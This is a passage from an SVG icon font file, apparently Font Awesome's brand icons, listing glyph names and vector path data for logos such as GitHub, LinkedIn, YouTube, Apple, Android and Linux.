48h352zM164 92c57.7002 0 96 40.5 96 97.5996c0 6.5 -0.599609 11.6006 -1.59961 16.6006h-94.4004v-34.4004h56.9004 +c-2.40039 -14.5996 -17.2002 -43.0996 -56.8008 -43.0996c-34.0996 0 -61.8994 28.2998 -61.8994 63.2002c0 35 27.7998 63.1992 61.8994 63.1992c19.5 0 32.4004 -8.2998 39.8008 -15.3994l27.0996 26.0996c-17.5 16.4004 -40 26.2002 -67 26.2002 +c-55.2998 0 -100 -44.7002 -100 -100s44.7002 -100 100 -100zM384 173.8v29.2002h-29v29h-29.2002v-29h-29v-29.2002h29v-29h29.2002v29h29z" /> + <glyph glyph-name="google-plus-g" unicode="" horiz-adv-x="640" +d="M386.061 219.504c1.83398 -9.69238 3.14355 -19.3838 3.14355 -31.9561c0 -109.753 -73.6055 -187.548 -184.404 -187.548c-106.084 0 -192 85.915 -192 192s85.916 192 192 192c51.8643 0 95.083 -18.8594 128.611 -50.292l-52.126 -50.0303 +c-14.1455 13.6211 -39.0283 29.5996 -76.4854 29.5996c-65.4834 0 -118.92 -54.2217 -118.92 -121.277s53.4365 -121.277 118.92 -121.277c75.9609 0 104.514 54.7451 108.965 82.7734h-108.965v66.0088h181.261v-0.000976562zM571.467 213.067h55.7334v-56.001h-55.7334 +v-55.7334h-56.001v55.7334h-55.7324v56.001h55.7324v55.7324h56.001v-55.7324z" /> + <glyph glyph-name="linkedin-in" unicode="" +d="M100.28 0h-92.8799v299.1h92.8799v-299.1zM53.79 339.9c-29.7002 0 -53.79 24.5996 -53.79 54.2998c0 29.6875 24.1025 53.79 53.79 53.79s53.79 -24.1025 53.79 -53.79c0 -29.7002 -24.0996 -54.2998 -53.79 -54.2998zM447.9 0h-92.6807v145.6 +c0 34.7002 -0.700195 79.2002 -48.29 79.2002c-48.29 0 -55.6895 -37.7002 -55.6895 -76.7002v-148.1h-92.7803v299.1h89.0801v-40.7998h1.2998c12.4004 23.5 42.6904 48.2998 87.8799 48.2998c94 0 111.28 -61.8994 111.28 -142.3v-164.3h-0.0996094z" /> + <glyph glyph-name="github-alt" unicode="" horiz-adv-x="480" +d="M186.1 119.3c0 -20.8994 -10.8994 -55.0996 -36.6992 -55.0996c-25.8008 0 -36.7002 34.2002 -36.7002 55.0996c0 20.9004 10.8994 55.1006 36.7002 55.1006c25.7998 0 36.6992 -34.2002 36.6992 -55.1006zM480 169.8c0 -31.8994 -3.2002 -65.7002 -17.5 -95 +c-37.9004 -76.5996 -142.1 -74.7998 -216.7 -74.7998c-75.7998 0 -186.2 -2.7002 -225.6 74.7998c-14.6006 29 -20.2002 63.1006 -20.2002 95c0 41.9004 13.9004 81.5 41.5 113.601c-5.2002 15.7998 -7.7002 32.3994 -7.7002 48.7998 +c0 21.5 4.90039 32.2998 14.6006 51.7998c45.2998 0 74.2998 -9 108.8 -36c29 6.90039 58.7998 10 88.7002 10c27 0 54.1992 -2.90039 80.3994 -9.2002c34 26.7002 63 35.2002 107.8 35.2002c9.80078 -19.5 14.6006 -30.2998 14.6006 -51.7998 +c0 -16.4004 -2.60059 -32.7002 -7.7002 -48.2002c27.5 -32.4004 39 -72.2998 39 -114.2zM415.7 119.3c0 43.9004 -26.7002 82.6006 -73.5 82.6006c-18.9004 0 -37 -3.40039 -56 -6c-14.9004 -2.30078 -29.7998 -3.2002 -45.1006 -3.2002 +c-15.1992 0 -30.0996 0.899414 -45.0996 3.2002c-18.7002 2.59961 -37 6 -56 6c-46.7998 0 -73.5 -38.7002 -73.5 -82.6006c0 -87.7998 80.4004 -101.3 150.4 -101.3h48.1992c70.3008 0 150.601 13.4004 150.601 101.3zM333.1 174.4 +c25.8008 0 36.7002 -34.2002 36.7002 -55.1006c0 -20.8994 -10.8994 -55.0996 -36.7002 -55.0996c-25.7998 0 -36.6992 34.2002 -36.6992 55.0996c0 20.9004 10.8994 55.1006 36.6992 55.1006z" /> + <glyph glyph-name="maxcdn" unicode="" horiz-adv-x="512" +d="M461.1 5.2998h-97.3994l51.8994 242.7c2.30078 10.2002 0.900391 19.5 -4.39941 25.7002c-5 6.09961 -13.7002 9.59961 -24.2002 9.59961h-49.2998l-59.5 -278h-97.4004l59.5 278h-83.3994l-59.5 -278h-97.4004l59.5 278l-44.5996 95.4004h372.1 +c39.4004 0 75.2998 -16.2998 98.2998 -44.9004c23.2998 -28.5996 31.7998 -67.3994 23.6006 -105.899z" /> + <glyph glyph-name="html5" unicode="" horiz-adv-x="384" +d="M0 416h384l-34.9004 -395.8l-157.6 -52.2002l-156.6 52.2002zM308.2 288.1l4.39941 47.7002h-241.1l12.7998 -145.6h166.9l-6 -62.2002l-53.7002 -14.5l-53.5 14.5l-3.5 38.0996h-47.7002l6 -75.7998l98.7002 -27.2998h1.09961v0.299805l97.9004 27l13.5996 148.4h-175.6 +l-4.09961 49.3994h183.8z" /> + <glyph glyph-name="css3" unicode="" horiz-adv-x="512" +d="M480 416l-64 -368l-223.3 -80l-192.7 80l19.5996 94.7998h82l-8 -40.5996l116.4 -44.4004l134.1 44.4004l18.8008 97.0996h-333.4l16 82h333.7l10.5 52.7002h-333.4l16.2998 82h407.4z" /> + <glyph glyph-name="btc" unicode="" horiz-adv-x="384" +d="M310.204 205.362c46.0059 -11.0283 74.9971 -38.4443 69.3262 -99.8906c-7.24805 -76.5723 -61.5967 -97.0547 -142.896 -101.467v-68.0049h-48.5273v66.7451c-12.29 0 -25.21 0 -38.4443 0.314453v-67.0596h-48.5283v68.0049s-8.88867 0.31543 -97.3701 0.31543 +l9.76758 57.666c34.7305 -0.614258 50.3301 -3.4209 53.2549 16.0703v217.43c-4.60645 24.5664 -24.709 22.1045 -63.0234 21.4268v51.6777c58.748 -0.275391 79.5283 -0.539062 97.3701 0v79.4092h48.5283v-77.833c12.9189 0.31543 25.8389 0.629883 38.4443 0.629883 +v77.2031h48.5273v-79.4092c62.3926 -5.35547 109.492 -24.5781 114.851 -81.9287c4.09668 -41.9102 -13.5508 -67.1201 -41.2803 -81.2998zM150.608 313.447v-96.7402c27.416 0 113.126 -6.30273 113.126 48.2119c0 57.0352 -85.7109 48.5283 -113.126 48.5283z +M150.608 61.6709c32.7715 0 133.126 -6.93262 133.127 53.2529c0 62.3936 -100.355 53.2549 -133.127 53.2549v-106.508z" /> + <glyph glyph-name="youtube" unicode="" horiz-adv-x="576" +d="M549.655 323.917c11.4121 -42.8672 11.4121 -132.305 11.4121 -132.305s0 -89.4385 -11.4121 -132.306c-6.28125 -23.6494 -24.7871 -41.5 -48.2842 -47.8203c-42.5908 -11.4863 -213.371 -11.4863 -213.371 -11.4863s-170.78 0 -213.371 11.4863 +c-23.4971 6.32031 -42.0029 24.1709 -48.2842 47.8203c-11.4121 42.8672 -11.4121 132.306 -11.4121 132.306s0 89.4375 11.4121 132.305c6.28125 23.6504 24.7871 42.2754 48.2842 48.5967c42.5908 11.4863 213.371 11.4863 213.371 11.4863s170.781 0 213.371 -11.4863 +c23.4971 -6.32031 42.0029 -24.9463 48.2842 -48.5967zM232.145 110.409l142.739 81.2012l-142.739 81.2051v-162.406z" /> + <glyph glyph-name="xing" unicode="" horiz-adv-x="384" +d="M162.7 238c-1.7998 -3.2998 -25.2002 -44.4004 -70.1006 -123.5c-4.89941 -8.2998 -10.7998 -12.5 -17.6992 -12.5h-65.1006c-7.7002 0 -12.0996 7.5 -8.5 14.4004l69 121.3c0.200195 0 0.200195 0.0996094 0 0.299805l-43.8994 75.5996 +c-4.30078 7.80078 0.299805 14.1006 8.5 14.1006h65.0996c7.2998 0 13.2998 -4.10059 18 -12.2002zM382.6 401.9l-144 -253v-0.300781l91.6006 -166.6c3.89941 -7.09961 0.200195 -14.0996 -8.5 -14.0996h-65.2002c-7.59961 0 -13.5996 4 -18 12.1992l-92.4004 168.5 +c3.30078 5.80078 51.5 90.8008 144.801 255.2c4.59961 8.10059 10.3994 12.2002 17.5 12.2002h65.6992c8 0 12.3008 -6.7002 8.5 -14.0996z" /> + <glyph glyph-name="xing-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM140.4 127.8c4.89941 0 9.09961 2.90039 12.5996 9.10059c32.0996 56.5 48.7998 85.8994 50.0996 88.1992l-31.8994 55.3008 +c-3.40039 5.7998 -7.7002 8.69922 -12.9004 8.69922h-46.5996c-5.7998 0 -9 -4.5 -6 -10.0996l31.3994 -54c0.100586 -0.0996094 0.100586 -0.200195 0 -0.200195l-49.2998 -86.7002c-2.7002 -5 0.5 -10.2998 6 -10.2998h46.6006zM360.1 341.9 +c2.80078 5.2998 -0.299805 10.0996 -6 10h-46.8994c-5.10059 0 -9.2002 -2.90039 -12.5 -8.7002c-66.6006 -117.4 -101.101 -178.2 -103.4 -182.3l66 -120.301c3.2002 -5.7998 7.40039 -8.69922 12.9004 -8.69922h46.5996c6.10059 0 8.7998 5 6 10.0996l-65.5 119v0.200195z +" /> + <glyph glyph-name="dropbox" unicode="" horiz-adv-x="528" +d="M264.4 331.7l-132 -84.2998l132 -84.3008l-132 -84.2998l-132.4 85.1006l132.3 84.2998l-132.3 83.5l132.3 84.2998zM131.6 52.2998l132 84.2998l132 -84.2998l-132 -84.2998zM264.4 163.9l132 84.2998l-132 83.5996l131.3 84.2002l132.3 -84.2998l-132.3 -84.2998 +l132.3 -84.2002l-132.3 -84.2998z" /> + <glyph glyph-name="stack-overflow" unicode="" horiz-adv-x="384" +d="M290.7 137l-8.2002 -39l-195.7 41l8.2002 39.2998zM341.7 224l-25.5 -30.7998l-153.5 128.3l25.5 30.7998zM310.5 184.3l-16.7998 -36.2998l-181.2 84.5l16.7002 36.5zM262 416l119.3 -160.3l-32 -24l-119.3 160.3zM282.5 88v-39.7002h-200v39.7002h200zM322.2 8v120h40 +v-160h-359.5v160h40v-120h279.5z" /> + <glyph glyph-name="instagram" unicode="" +d="M224.1 307c63.6006 0 114.9 -51.2998 114.9 -114.9c0 -63.5996 -51.2998 -114.899 -114.9 -114.899c-63.5996 0 -114.899 51.2998 -114.899 114.899c0 63.6006 51.2998 114.9 114.899 114.9zM224.1 117.4c41.1006 0 74.7002 33.5 74.7002 74.6992 +c0 41.2002 -33.5 74.7002 -74.7002 74.7002c-41.1992 0 -74.6992 -33.5 -74.6992 -74.7002c0 -41.1992 33.5996 -74.6992 74.6992 -74.6992zM370.5 311.7c0 -14.9004 -12 -26.7998 -26.7998 -26.7998c-14.9004 0 -26.7998 12 -26.7998 26.7998s12 26.7998 26.7998 26.7998 +s26.7998 -12 26.7998 -26.7998zM446.6 284.5c2.10059 -37 2.10059 -147.8 0 -184.8c-1.7998 -35.9004 -10 -67.7002 -36.1992 -93.9004c-26.2002 -26.2998 -58 -34.5 -93.9004 -36.2002c-37 -2.09961 -147.9 -2.09961 -184.9 0 +c-35.8994 1.80078 -67.5996 10 -93.8994 36.2002s-34.5 58 -36.2002 93.9004c-2.09961 37 -2.09961 147.899 0 184.899c1.7998 35.9004 9.90039 67.7002 36.2002 93.9004s58.0996 34.4004 93.8994 36.0996c37 2.10059 147.9 2.10059 184.9 0 +c35.9004 -1.7998 67.7002 -10 93.9004 -36.1992c26.2998 -26.2002 34.5 -58 36.1992 -93.9004zM398.8 60c11.7002 29.4004 9 99.5 9 132.1c0 32.6006 2.7002 102.601 -9 132.101c-7.89941 19.7002 -23 34.7998 -42.5996 42.5996c-29.4004 11.6006 -99.5 9 -132.101 9 +c-32.5996 0 -102.6 2.7002 -132.1 -9c-19.7002 -7.89941 -34.7998 -23 -42.5996 -42.5996c-11.6006 -29.4004 -9 -99.5 -9 -132.101c0 -32.5996 -2.7002 -102.6 9 -132.1c7.89941 -19.7002 23 -34.7998 42.5996 -42.5996c29.4004 -11.6006 99.5 -9 132.1 -9 +c32.6006 0 102.601 -2.7002 132.101 9c19.7002 7.89941 34.7998 23 42.5996 42.5996z" /> + <glyph glyph-name="flickr" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM144.5 129c35.0996 0 63.5 28.4004 63.5 63.5s-28.4004 63.5 -63.5 63.5s-63.5 -28.4004 -63.5 -63.5s28.4004 -63.5 63.5 -63.5z +M303.5 129c35.0996 0 63.5 28.4004 63.5 63.5s-28.4004 63.5 -63.5 63.5s-63.5 -28.4004 -63.5 -63.5s28.4004 -63.5 63.5 -63.5z" /> + <glyph glyph-name="adn" unicode="" horiz-adv-x="496" +d="M248 280.5l64.9004 -98.7998h-129.801zM496 192c0 -136.9 -111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248s248 -111.1 248 -248zM396.2 109.3l-148.2 223.2l-148.2 -223.2h30.4004l33.5996 51.7002h168.601l33.5996 -51.7002h30.2002z" /> + <glyph glyph-name="bitbucket" unicode="" horiz-adv-x="512" +d="M22.2002 416l466.8 -0.200195c0.954102 -0.0136719 1.875 -0.0800781 2.7998 -0.200195c7.58789 -1.25 13.3994 -7.83203 13.3994 -15.7715c0 -0.860352 -0.0683594 -1.7041 -0.199219 -2.52832l-67.9004 -416.8c-1.24902 -7.58887 -7.84277 -13.4014 -15.7832 -13.4014 +c-0.0722656 0 -0.144531 0 -0.216797 0.000976562h-325.699c-10.7129 0.0869141 -19.5967 7.94727 -21.3008 18.2002l-67.8994 412.101c-0.116211 0.924805 -0.182617 1.84668 -0.200195 2.7998c0.108398 8.7373 7.23242 15.8008 15.9951 15.8008 +c0.0683594 0 0.136719 0 0.205078 -0.000976562zM308.1 118.2l25.2002 147h-157.3l28.0996 -147h104z" /> + <glyph glyph-name="tumblr" unicode="" horiz-adv-x="320" +d="M309.8 -32.2998c-13.5996 -14.5 -50 -31.7002 -97.3994 -31.7002c-120.801 0 -147 88.7998 -147 140.6v144h-47.5c-5.5 0 -10 4.5 -10 10v68c0 7.2002 4.5 13.6006 11.2998 16c62 21.8008 81.5 76 84.2998 117.101c0.799805 11 6.5 16.2998 16.0996 16.2998h70.9004 +c5.5 0 10 -4.5 10 -10v-115.2h83c5.5 0 10 -4.39941 10 -9.89941v-81.7002c0 -5.5 -4.5 -10 -10 -10h-83.4004v-133.2c0 -34.2002 23.7002 -53.5996 68 -35.7998c4.80078 1.89941 9 3.2002 12.7002 2.2002c3.5 -0.900391 5.7998 -3.40039 7.40039 -7.90039l22 -64.2998 +c1.7998 -5 3.2998 -10.6006 -0.400391 -14.5z" /> + <glyph glyph-name="tumblr-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM317.7 51.7998c2.2998 2.40039 1.2998 5.90039 0.299805 9.10059l-13.7998 40.1992c-1 2.80078 -2.40039 4.40039 -4.60059 4.90039 +c-2.39941 0.599609 -5 -0.200195 -8 -1.40039c-27.6992 -11.0996 -42.5 1 -42.5 22.4004v83.2998h52.1006c3.39941 0 6.2002 2.7998 6.2002 6.2002v51.0996c0 3.40039 -2.80078 6.2002 -6.2002 6.2002h-51.9004v72c0 3.40039 -2.7998 6.2002 -6.2002 6.2002h-44.2998 +c-5.89941 0 -9.5 -3.2998 -10 -10.2002c-1.7998 -25.7002 -13.8994 -59.5 -52.7002 -73.2002c-4.2998 -1.5 -7.09961 -5.5 -7.09961 -10v-42.5c0 -3.39941 2.7998 -6.19922 6.2002 -6.19922h29.7002v-90c0 -32.4004 16.3994 -87.9004 91.8994 -87.9004 +c29.7002 0 52.4004 10.7002 60.9004 19.7998z" /> + <glyph glyph-name="apple" unicode="" horiz-adv-x="384" +d="M318.7 179.3c0 -1.89941 -3.5 -61.2002 61.7002 -91.8994c-12.2002 -36.8008 -54 -118.601 -102.601 -119.301c-28.0996 0 -44.5996 17.9004 -76.3994 17.9004c-32.8008 0 -50.6006 -17.2998 -75.8008 -17.9004c-48.1992 -1.5 -94.3994 88.5 -107.199 125.2 +c-9.60059 27.9336 -14.4004 55 -14.4004 81.2002c0 88.7002 59.2998 132.3 115.1 133.2c27 0 61.4004 -19.7002 76.4004 -19.7002c14.2002 0 53 23.5 88.5 20.7002c37.5 -2.90039 65.9004 -17.7002 84.7002 -44.6006c-33.6006 -20.3994 -50.2002 -48.0996 -50 -84.7998z +M262.1 343.5c-19.5996 -22.9004 -43.3994 -36.2998 -69.5 -34.2998c-2.19922 27.5996 8.10059 52.0996 25.6006 71.8994c15.8994 18.5 43.7998 33.5 67.8994 34.9004c0.800781 -10.5996 3.30078 -40.0996 -24 -72.5z" /> + <glyph glyph-name="windows" unicode="" +d="M0 354.3l183.6 25.2998v-177.399h-183.6v152.1zM0 29.7002v149.899h183.6v-175.199zM203.8 1.7002v177.899h244.2v-211.6zM203.8 382.3l244.2 33.7002v-213.8h-244.2v180.1z" /> + <glyph glyph-name="android" unicode="" horiz-adv-x="576" +d="M420.55 146.07c-13.2461 0 -24 10.7539 -24 24s10.7539 24 24 24s24 -10.7539 24 -24s-10.7539 -24 -24 -24zM155.45 146.07c-13.2461 0 -24 10.7539 -24 24s10.7539 24 24 24s24 -10.7539 24 -24s-10.7539 -24 -24 -24zM429.15 290.55l47.9395 83 +c1.06738 1.59082 1.69043 3.50391 1.69043 5.5625c0 5.51855 -4.48047 10 -10 10c-3.93359 0 -7.32812 -2.25684 -8.95996 -5.5625v0l-48.54 -84.0693c-37.5742 16.8516 -79.2197 26.2266 -123.037 26.2266c-43.8164 0 -85.9492 -9.375 -123.523 -26.2266l-48.54 84.0693 +c-1.63184 3.30566 -5.03809 5.58203 -8.97168 5.58203c-5.51953 0 -10 -4.48145 -10 -10c0 -2.05859 0.634766 -3.99121 1.70215 -5.58203v0l47.9395 -83c-82.3193 -44.7695 -138.609 -128.1 -146.85 -226.55h576c-8.24023 98.4502 -64.54 181.78 -146.85 226.55z" /> + <glyph glyph-name="linux" unicode="" +d="M220.8 324.7c-1.09961 0.599609 -3.09961 0.399414 -3.39941 1.7002c-0.200195 0.399414 0.199219 0.899414 0.599609 1.09961c1.59961 0.900391 3.7998 0.599609 5.5 -0.0996094c1.2998 -0.600586 3.40039 -1.5 3.2002 -2.90039 +c-0.100586 -1.09961 -1.7998 -1.5 -2.90039 -1.5c-1.2002 0 -2 1.2002 -3 1.7002zM198.9 323c-1 -0.0996094 -2.7002 0.400391 -2.80078 1.40039c-0.199219 1.39941 1.90039 2.2998 3.2002 2.89941c1.7002 0.700195 3.90039 1 5.5 0.100586 +c0.400391 -0.200195 0.799805 -0.700195 0.600586 -1.10059c-0.400391 -1.2002 -2.40039 -1 -3.5 -1.59961c-1 -0.5 -1.80078 -1.7002 -3 -1.7002zM420 44.2002c11.0996 -12.4004 15.9004 -21.5 15.5 -29.7002c-0.5 -8.2002 -6.5 -13.7998 -13.9004 -18.2998 +c-14.8994 -9 -37.2998 -15.7998 -50.8994 -32.2002c-14.2002 -16.9004 -31.7002 -26.5996 -48.2998 -27.9004c-16.5 -1.2998 -32 6.30078 -40.3008 23v0.100586c-1.09961 2.09961 -1.89941 4.39941 -2.5 6.7002c-21.5 -1.2002 -40.1992 5.2998 -55.0996 4.09961 +c-22 -1.2002 -35.7998 -6.5 -48.2998 -6.59961c-4.7998 -10.6006 -14.2998 -17.6006 -25.9004 -20.2002c-16 -3.7002 -36.0996 0 -55.8994 10.3994c-18.5 9.80078 -42 8.90039 -59.3008 12.5c-8.69922 1.80078 -16.2998 5 -20.0996 12.3008 +c-3.7002 7.2998 -3 17.2998 2.2002 31.6992c1.7002 5.10059 0.399414 12.7002 -0.799805 20.8008c-0.600586 3.89941 -1.2002 7.89941 -1.2002 11.7998c0 4.2998 0.700195 8.5 2.7998 12.3994c4.5 8.5 11.7998 12.1006 18.5 14.5c6.7002 2.40039 12.7998 4 17 8.30078 +c5.2002 5.5 10.0996 14.3994 16.5996 20.1992c-2.59961 17.2002 0.200195 35.4004 6.2002 53.3008c12.6006 37.8994 39.2002 74.1992 58.1006 96.6992c16.0996 22.9004 20.7998 41.3008 22.5 64.7002c1.09961 31.7998 -24.5 135.4 77.8994 135.2 +c80.9004 -0.0996094 76.2998 -85.4004 75.7998 -131.3c-0.299805 -30.1006 16.3008 -50.5 33.4004 -72c15.2002 -18 35.0996 -44.2998 46.5 -74.4004c9.2998 -24.5996 12.9004 -51.7998 3.7002 -79.0996c1.39941 -0.5 2.7998 -1.2002 4.09961 -2 +c1.40039 -0.799805 2.7002 -1.7998 4 -2.90039c6.60059 -5.59961 8.7002 -14.2998 10.5 -22.3994c1.90039 -8.10059 3.60059 -15.7002 7.2002 -19.7002zM223.7 360.7c-3.2002 -7.2002 -3.90039 -14.9004 -2.90039 -21.7998c3.60059 -0.900391 8.90039 -2.40039 13 -4.40039 +c-2.09961 12.2002 4.5 23.5 11.7998 23c8.90039 -0.299805 13.9004 -15.5 9.10059 -27.2998c-0.799805 -1.90039 -2.7998 -3.40039 -3.90039 -4.60059c6.7002 -2.2998 11 -4.09961 12.6006 -4.89941c7.89941 9.5 10.7998 26.2002 4.2998 40.3994 +c-9.7998 21.4004 -34.2002 21.8008 -44 -0.399414zM183 372.2c-18.9004 0 -24 -37.5 -8.40039 -52.1006c7.80078 5.7002 6.90039 4.7002 5.90039 5.5c-8 6.90039 -6.59961 27.4004 1.7998 28.1006c6.2998 0.5 10.7998 -10.7002 9.60059 -19.6006 +c3.09961 2.10059 6.69922 3.60059 10.1992 4.60059c1.7002 19.2998 -9 33.5 -19.0996 33.5zM169.4 311.5c-4.2002 -3.2998 -5.60059 -7.40039 -4.2002 -12.2998c1.5 -4.90039 6.09961 -10.5 14.7002 -15.2998c7.7998 -4.60059 12 -11.5 20 -15 +c2.59961 -1.10059 5.69922 -1.90039 9.59961 -2.10059c18.4004 -1.09961 27.0996 11.2998 38.2002 14.9004c11.7002 3.7002 20.0996 11 22.7002 18.0996c3.19922 8.5 -2.10059 14.7002 -10.5 18.2002c-11.3008 4.90039 -16.3008 5.2002 -22.6006 9.2998 +c-10.2998 6.60059 -18.7998 8.90039 -25.8994 8.90039c-14.4004 0 -23.2002 -9.7998 -27.9004 -14.2002c-0.5 -0.5 -7.90039 -5.90039 -14.0996 -10.5zM172.7 -22.5c2.09961 20.5 -31.5 49 -41 68.9004l-19.6006 35.5996c-6.7998 9.2002 -13.7998 14.7998 -21.8994 16 +c-7.7002 1.2002 -12.6006 -1.40039 -17.7002 -6.90039c-4.7998 -5.09961 -8.7998 -12.2998 -14.2998 -18c-7.7998 -6.5 -9.2998 -6.19922 -19.6006 -9.89941c-6.2998 -2.2002 -11.2998 -4.60059 -14.7998 -11.2998c-2.7002 -5 -2.09961 -12.2002 -0.899414 -20 +c1.19922 -7.90039 3 -16.3008 0.599609 -23.9004v-0.200195c-5 -13.7002 -5 -21.7002 -2.59961 -26.3994c7.89941 -15.4004 46.5996 -6.10059 76.5 -21.9004c31.3994 -16.4004 72.5996 -17.0996 75.2998 18zM171.3 3.40039c37.6006 -25.7002 82.2002 -15.7002 114.3 7.19922 +c3.2002 11 6.30078 21.3008 6.80078 29c0.799805 15.2002 1.59961 28.7002 4.39941 39.9004c3.10059 12.5996 9.2998 23.0996 21.4004 27.2998c2.2998 21.1006 18.7002 21.1006 38.2998 12.5c18.9004 -8.5 26 -16 22.7998 -26.0996c1 0 2 0.0996094 4.2002 0 +c5.2002 16.8994 -14.2998 28 -30.7002 34.7998c2.90039 12 2.40039 24.0996 -0.399414 35.7002c-6 25.2998 -22.6006 47.7998 -35.2002 59c-2.2998 0.0996094 -2.10059 -1.90039 2.59961 -6.5c11.6006 -10.7002 37.1006 -49.2002 23.2998 -84.9004 +c-3.89941 1 -7.59961 1.5 -10.8994 1.40039c-5.2998 29.0996 -17.5 53.2002 -23.6006 64.5996c-11.5 21.4004 -29.5 65.2998 -37.1992 95.7002c-4.5 -6.40039 -12.4004 -11.9004 -22.3008 -15c-4.69922 -1.5 -9.69922 -5.5 -15.8994 -9 +c-13.9004 -8 -30 -8.7998 -42.4004 1.2002c-4.5 3.59961 -8 7.59961 -12.5996 10.2998c-1.60059 0.900391 -5.10059 3.2998 -6.2002 4.09961c-2 -37.7998 -27.2998 -85.2998 -39.2998 -112.699c-8.2998 -19.7002 -13.2002 -40.8008 -13.7998 -61.5 +c-21.8008 29.0996 -5.90039 66.2998 2.59961 82.3994c9.5 17.6006 11 22.5 8.7002 20.7998c-8.60059 -14 -22 -36.2998 -27.2002 -59.1992c-2.7002 -11.9004 -3.2002 -24 0.299805 -35.2002s11.1006 -21.5 24.6006 -29.9004c0 0 24.7998 -14.2998 38.2998 -32.5 +c7.39941 -10 9.7002 -18.7002 7.39941 -24.8994c-2.5 -6.7002 -9.59961 -8.90039 -16.6992 -8.90039c4.7998 -6 10.2998 -13 14.3994 -19.5996zM428.7 14.9004c0.299805 5.09961 -3.10059 13 -13.7002 24.5996c-10 11.2998 -7.2002 33.0996 -17.0996 41.5996 +c-6.90039 6 -13.6006 5.40039 -22.6006 5.10059c-7.7002 -8.7998 -25.7998 -19.6006 -38.3994 -16.2998c-11.5 2.89941 -18 16.2998 -18.8008 29.5c-0.299805 -0.200195 -0.699219 -0.300781 -1 -0.5c-7.09961 -3.90039 -11.0996 -10.8008 -13.6992 -21.1006 +c-2.5 -10.2002 -3.40039 -23.5 -4.2002 -38.7002c-0.700195 -11.7998 -6.2002 -26.3994 -9.90039 -40.5996c-3.5 -13.2002 -5.7998 -25.2002 -1.09961 -36.2998c7.2002 -14.5 19.5 -20.4004 33.7002 -19.2998c14.1992 1.09961 30.3994 9.7998 43.5996 25.5 +c22 26.5996 62.2998 29.6992 63.2002 46.5zM173.3 299.3c-3.5 2.7998 -3.09961 6.60059 -1.7002 6.5c2.40039 -0.299805 2.80078 -3.5 4.30078 -4.89941c2 -1.90039 4.59961 -4.40039 7.69922 -6.90039c6.2002 -4.90039 14.5 -9.7002 24.9004 -9.7002 +s22.5 6 29.9004 10.2002c4.19922 2.40039 9.5 6.59961 13.8994 9.7998c3.40039 2.5 3.2002 5.40039 6 5.10059c2.7998 -0.300781 0.799805 -3.2002 -3.09961 -6.60059c-3.90039 -3.39941 -9.90039 -7.7998 -14.7998 -10.3994 +c-9.30078 -4.90039 -20.2002 -10.8008 -31.8008 -10.8008c-11.5 0 -20.6992 5.40039 -27.2998 10.6006c-3.2998 2.59961 -6 5.2002 -8 7.09961z" /> + <glyph glyph-name="dribbble" unicode="" horiz-adv-x="512" +d="M256 440c136.748 0 248 -111.252 248 -248s-111.252 -248 -248 -248s-248 111.252 -248 248s111.252 248 248 248zM419.97 325.634c-4.46582 -6.04102 -39.9629 -51.5459 -118.284 -83.5225c7.43652 -15.2217 12.8652 -27.5732 18.6172 -41.6143 +c70.4844 8.86426 140.519 -5.34082 147.502 -6.81836c-0.46582 49.998 -18.332 95.9092 -47.835 131.955zM396.421 350.13c-52.0947 46.2188 -122.885 63.6816 -190.061 47.4893c5.85449 -7.83984 44.3281 -60.2324 79.04 -124.008 +c75.3232 28.2324 107.211 71.0918 111.021 76.5186zM165.941 383.38c-59.2637 -27.9531 -103.562 -82.585 -117.298 -148.318c9.47461 -0.125 96.7471 -0.503906 195.834 25.8096c-35.0986 62.3926 -72.9512 114.85 -78.5361 122.509zM44.1699 191.677 +c0 -54.4072 20.624 -104.082 54.457 -141.636c34.3369 58.7793 103.932 120.731 180.531 142.306c-5.31738 12.0342 -11.1104 24.0811 -17.1738 35.9492c-105.786 -31.6592 -208.438 -30.3359 -217.706 -30.1455c-0.0654297 -2.15137 -0.108398 -4.30762 -0.108398 -6.47363 +zM125.977 24.5645c62.7539 -48.9355 144.656 -56.8955 212.769 -27.8828c-3.15039 18.585 -15.4492 83.3555 -45.1895 160.639c-85.4004 -29.1348 -145.452 -87.5234 -167.579 -132.756zM374.357 16.0752c47.5215 32.1338 81.3525 83.0371 90.7949 141.978 +c-7.24707 2.28711 -65.5674 19.6816 -131.947 9.05566c27.7061 -76.1367 38.9805 -138.147 41.1523 -151.033z" /> + <glyph glyph-name="skype" unicode="" +d="M424.7 148.2c14.5996 -18.9004 23.2998 -42.5 23.2002 -68.1006c0 -61.7998 -50.2002 -112 -112 -112c-25.6006 0 -49.2002 8.7002 -68.2002 23.3008c-14.1006 -3 -28.9004 -4.7002 -43.7998 -4.7002c-113.4 0 -205.301 91.7998 -205.301 205.3 +c0 14.9004 1.80078 29.7998 4.7002 43.7998c-14.5996 18.9004 -23.2998 42.5 -23.2998 68.2002c0 61.7998 50.2002 112 112 112c25.7002 0 49.2998 -8.7002 68.2998 -23.4004c14.1006 3 28.9004 4.7002 43.7998 4.7002c113.4 0 205.301 -91.7998 205.301 -205.3 +c0 -14.9004 -1.80078 -29.7998 -4.7002 -43.7998zM230.1 56.7002c54.9004 0 112 27.3994 112 86.5c0 50.7998 -49.2998 68.2998 -90.6992 77.5996c-48.3008 11.2002 -69.1006 13.2002 -69.1006 33c0 15.5 16.2998 22.5 42 22.5c45.7998 0 46.7002 -33.5 75 -33.5 +c18.9004 0 30.2998 14.9004 30.2998 31.7998c0 33.5 -55.6992 55.4004 -110.8 55.4004c-50.5 0 -109.1 -21.9004 -109.1 -81.0996c0 -65.2002 55.2998 -71.8008 117.8 -87.2002c26 -6.40039 42 -9.2998 42 -28c0 -14.9004 -16.5996 -26.2998 -42.2998 -26.2998 +c-54 0 -56.9004 44.8994 -88.1006 44.8994c-20.5 0 -29.5 -14.5996 -29.5 -30.5996c0 -35.7998 54.9004 -65 120.5 -65z" /> + <glyph glyph-name="foursquare" unicode="" horiz-adv-x="368" +d="M323.1 445c40 0 50.7002 -22.7998 42.2002 -65.2002l-48.5996 -243c-3.7002 -14.5 -9.2002 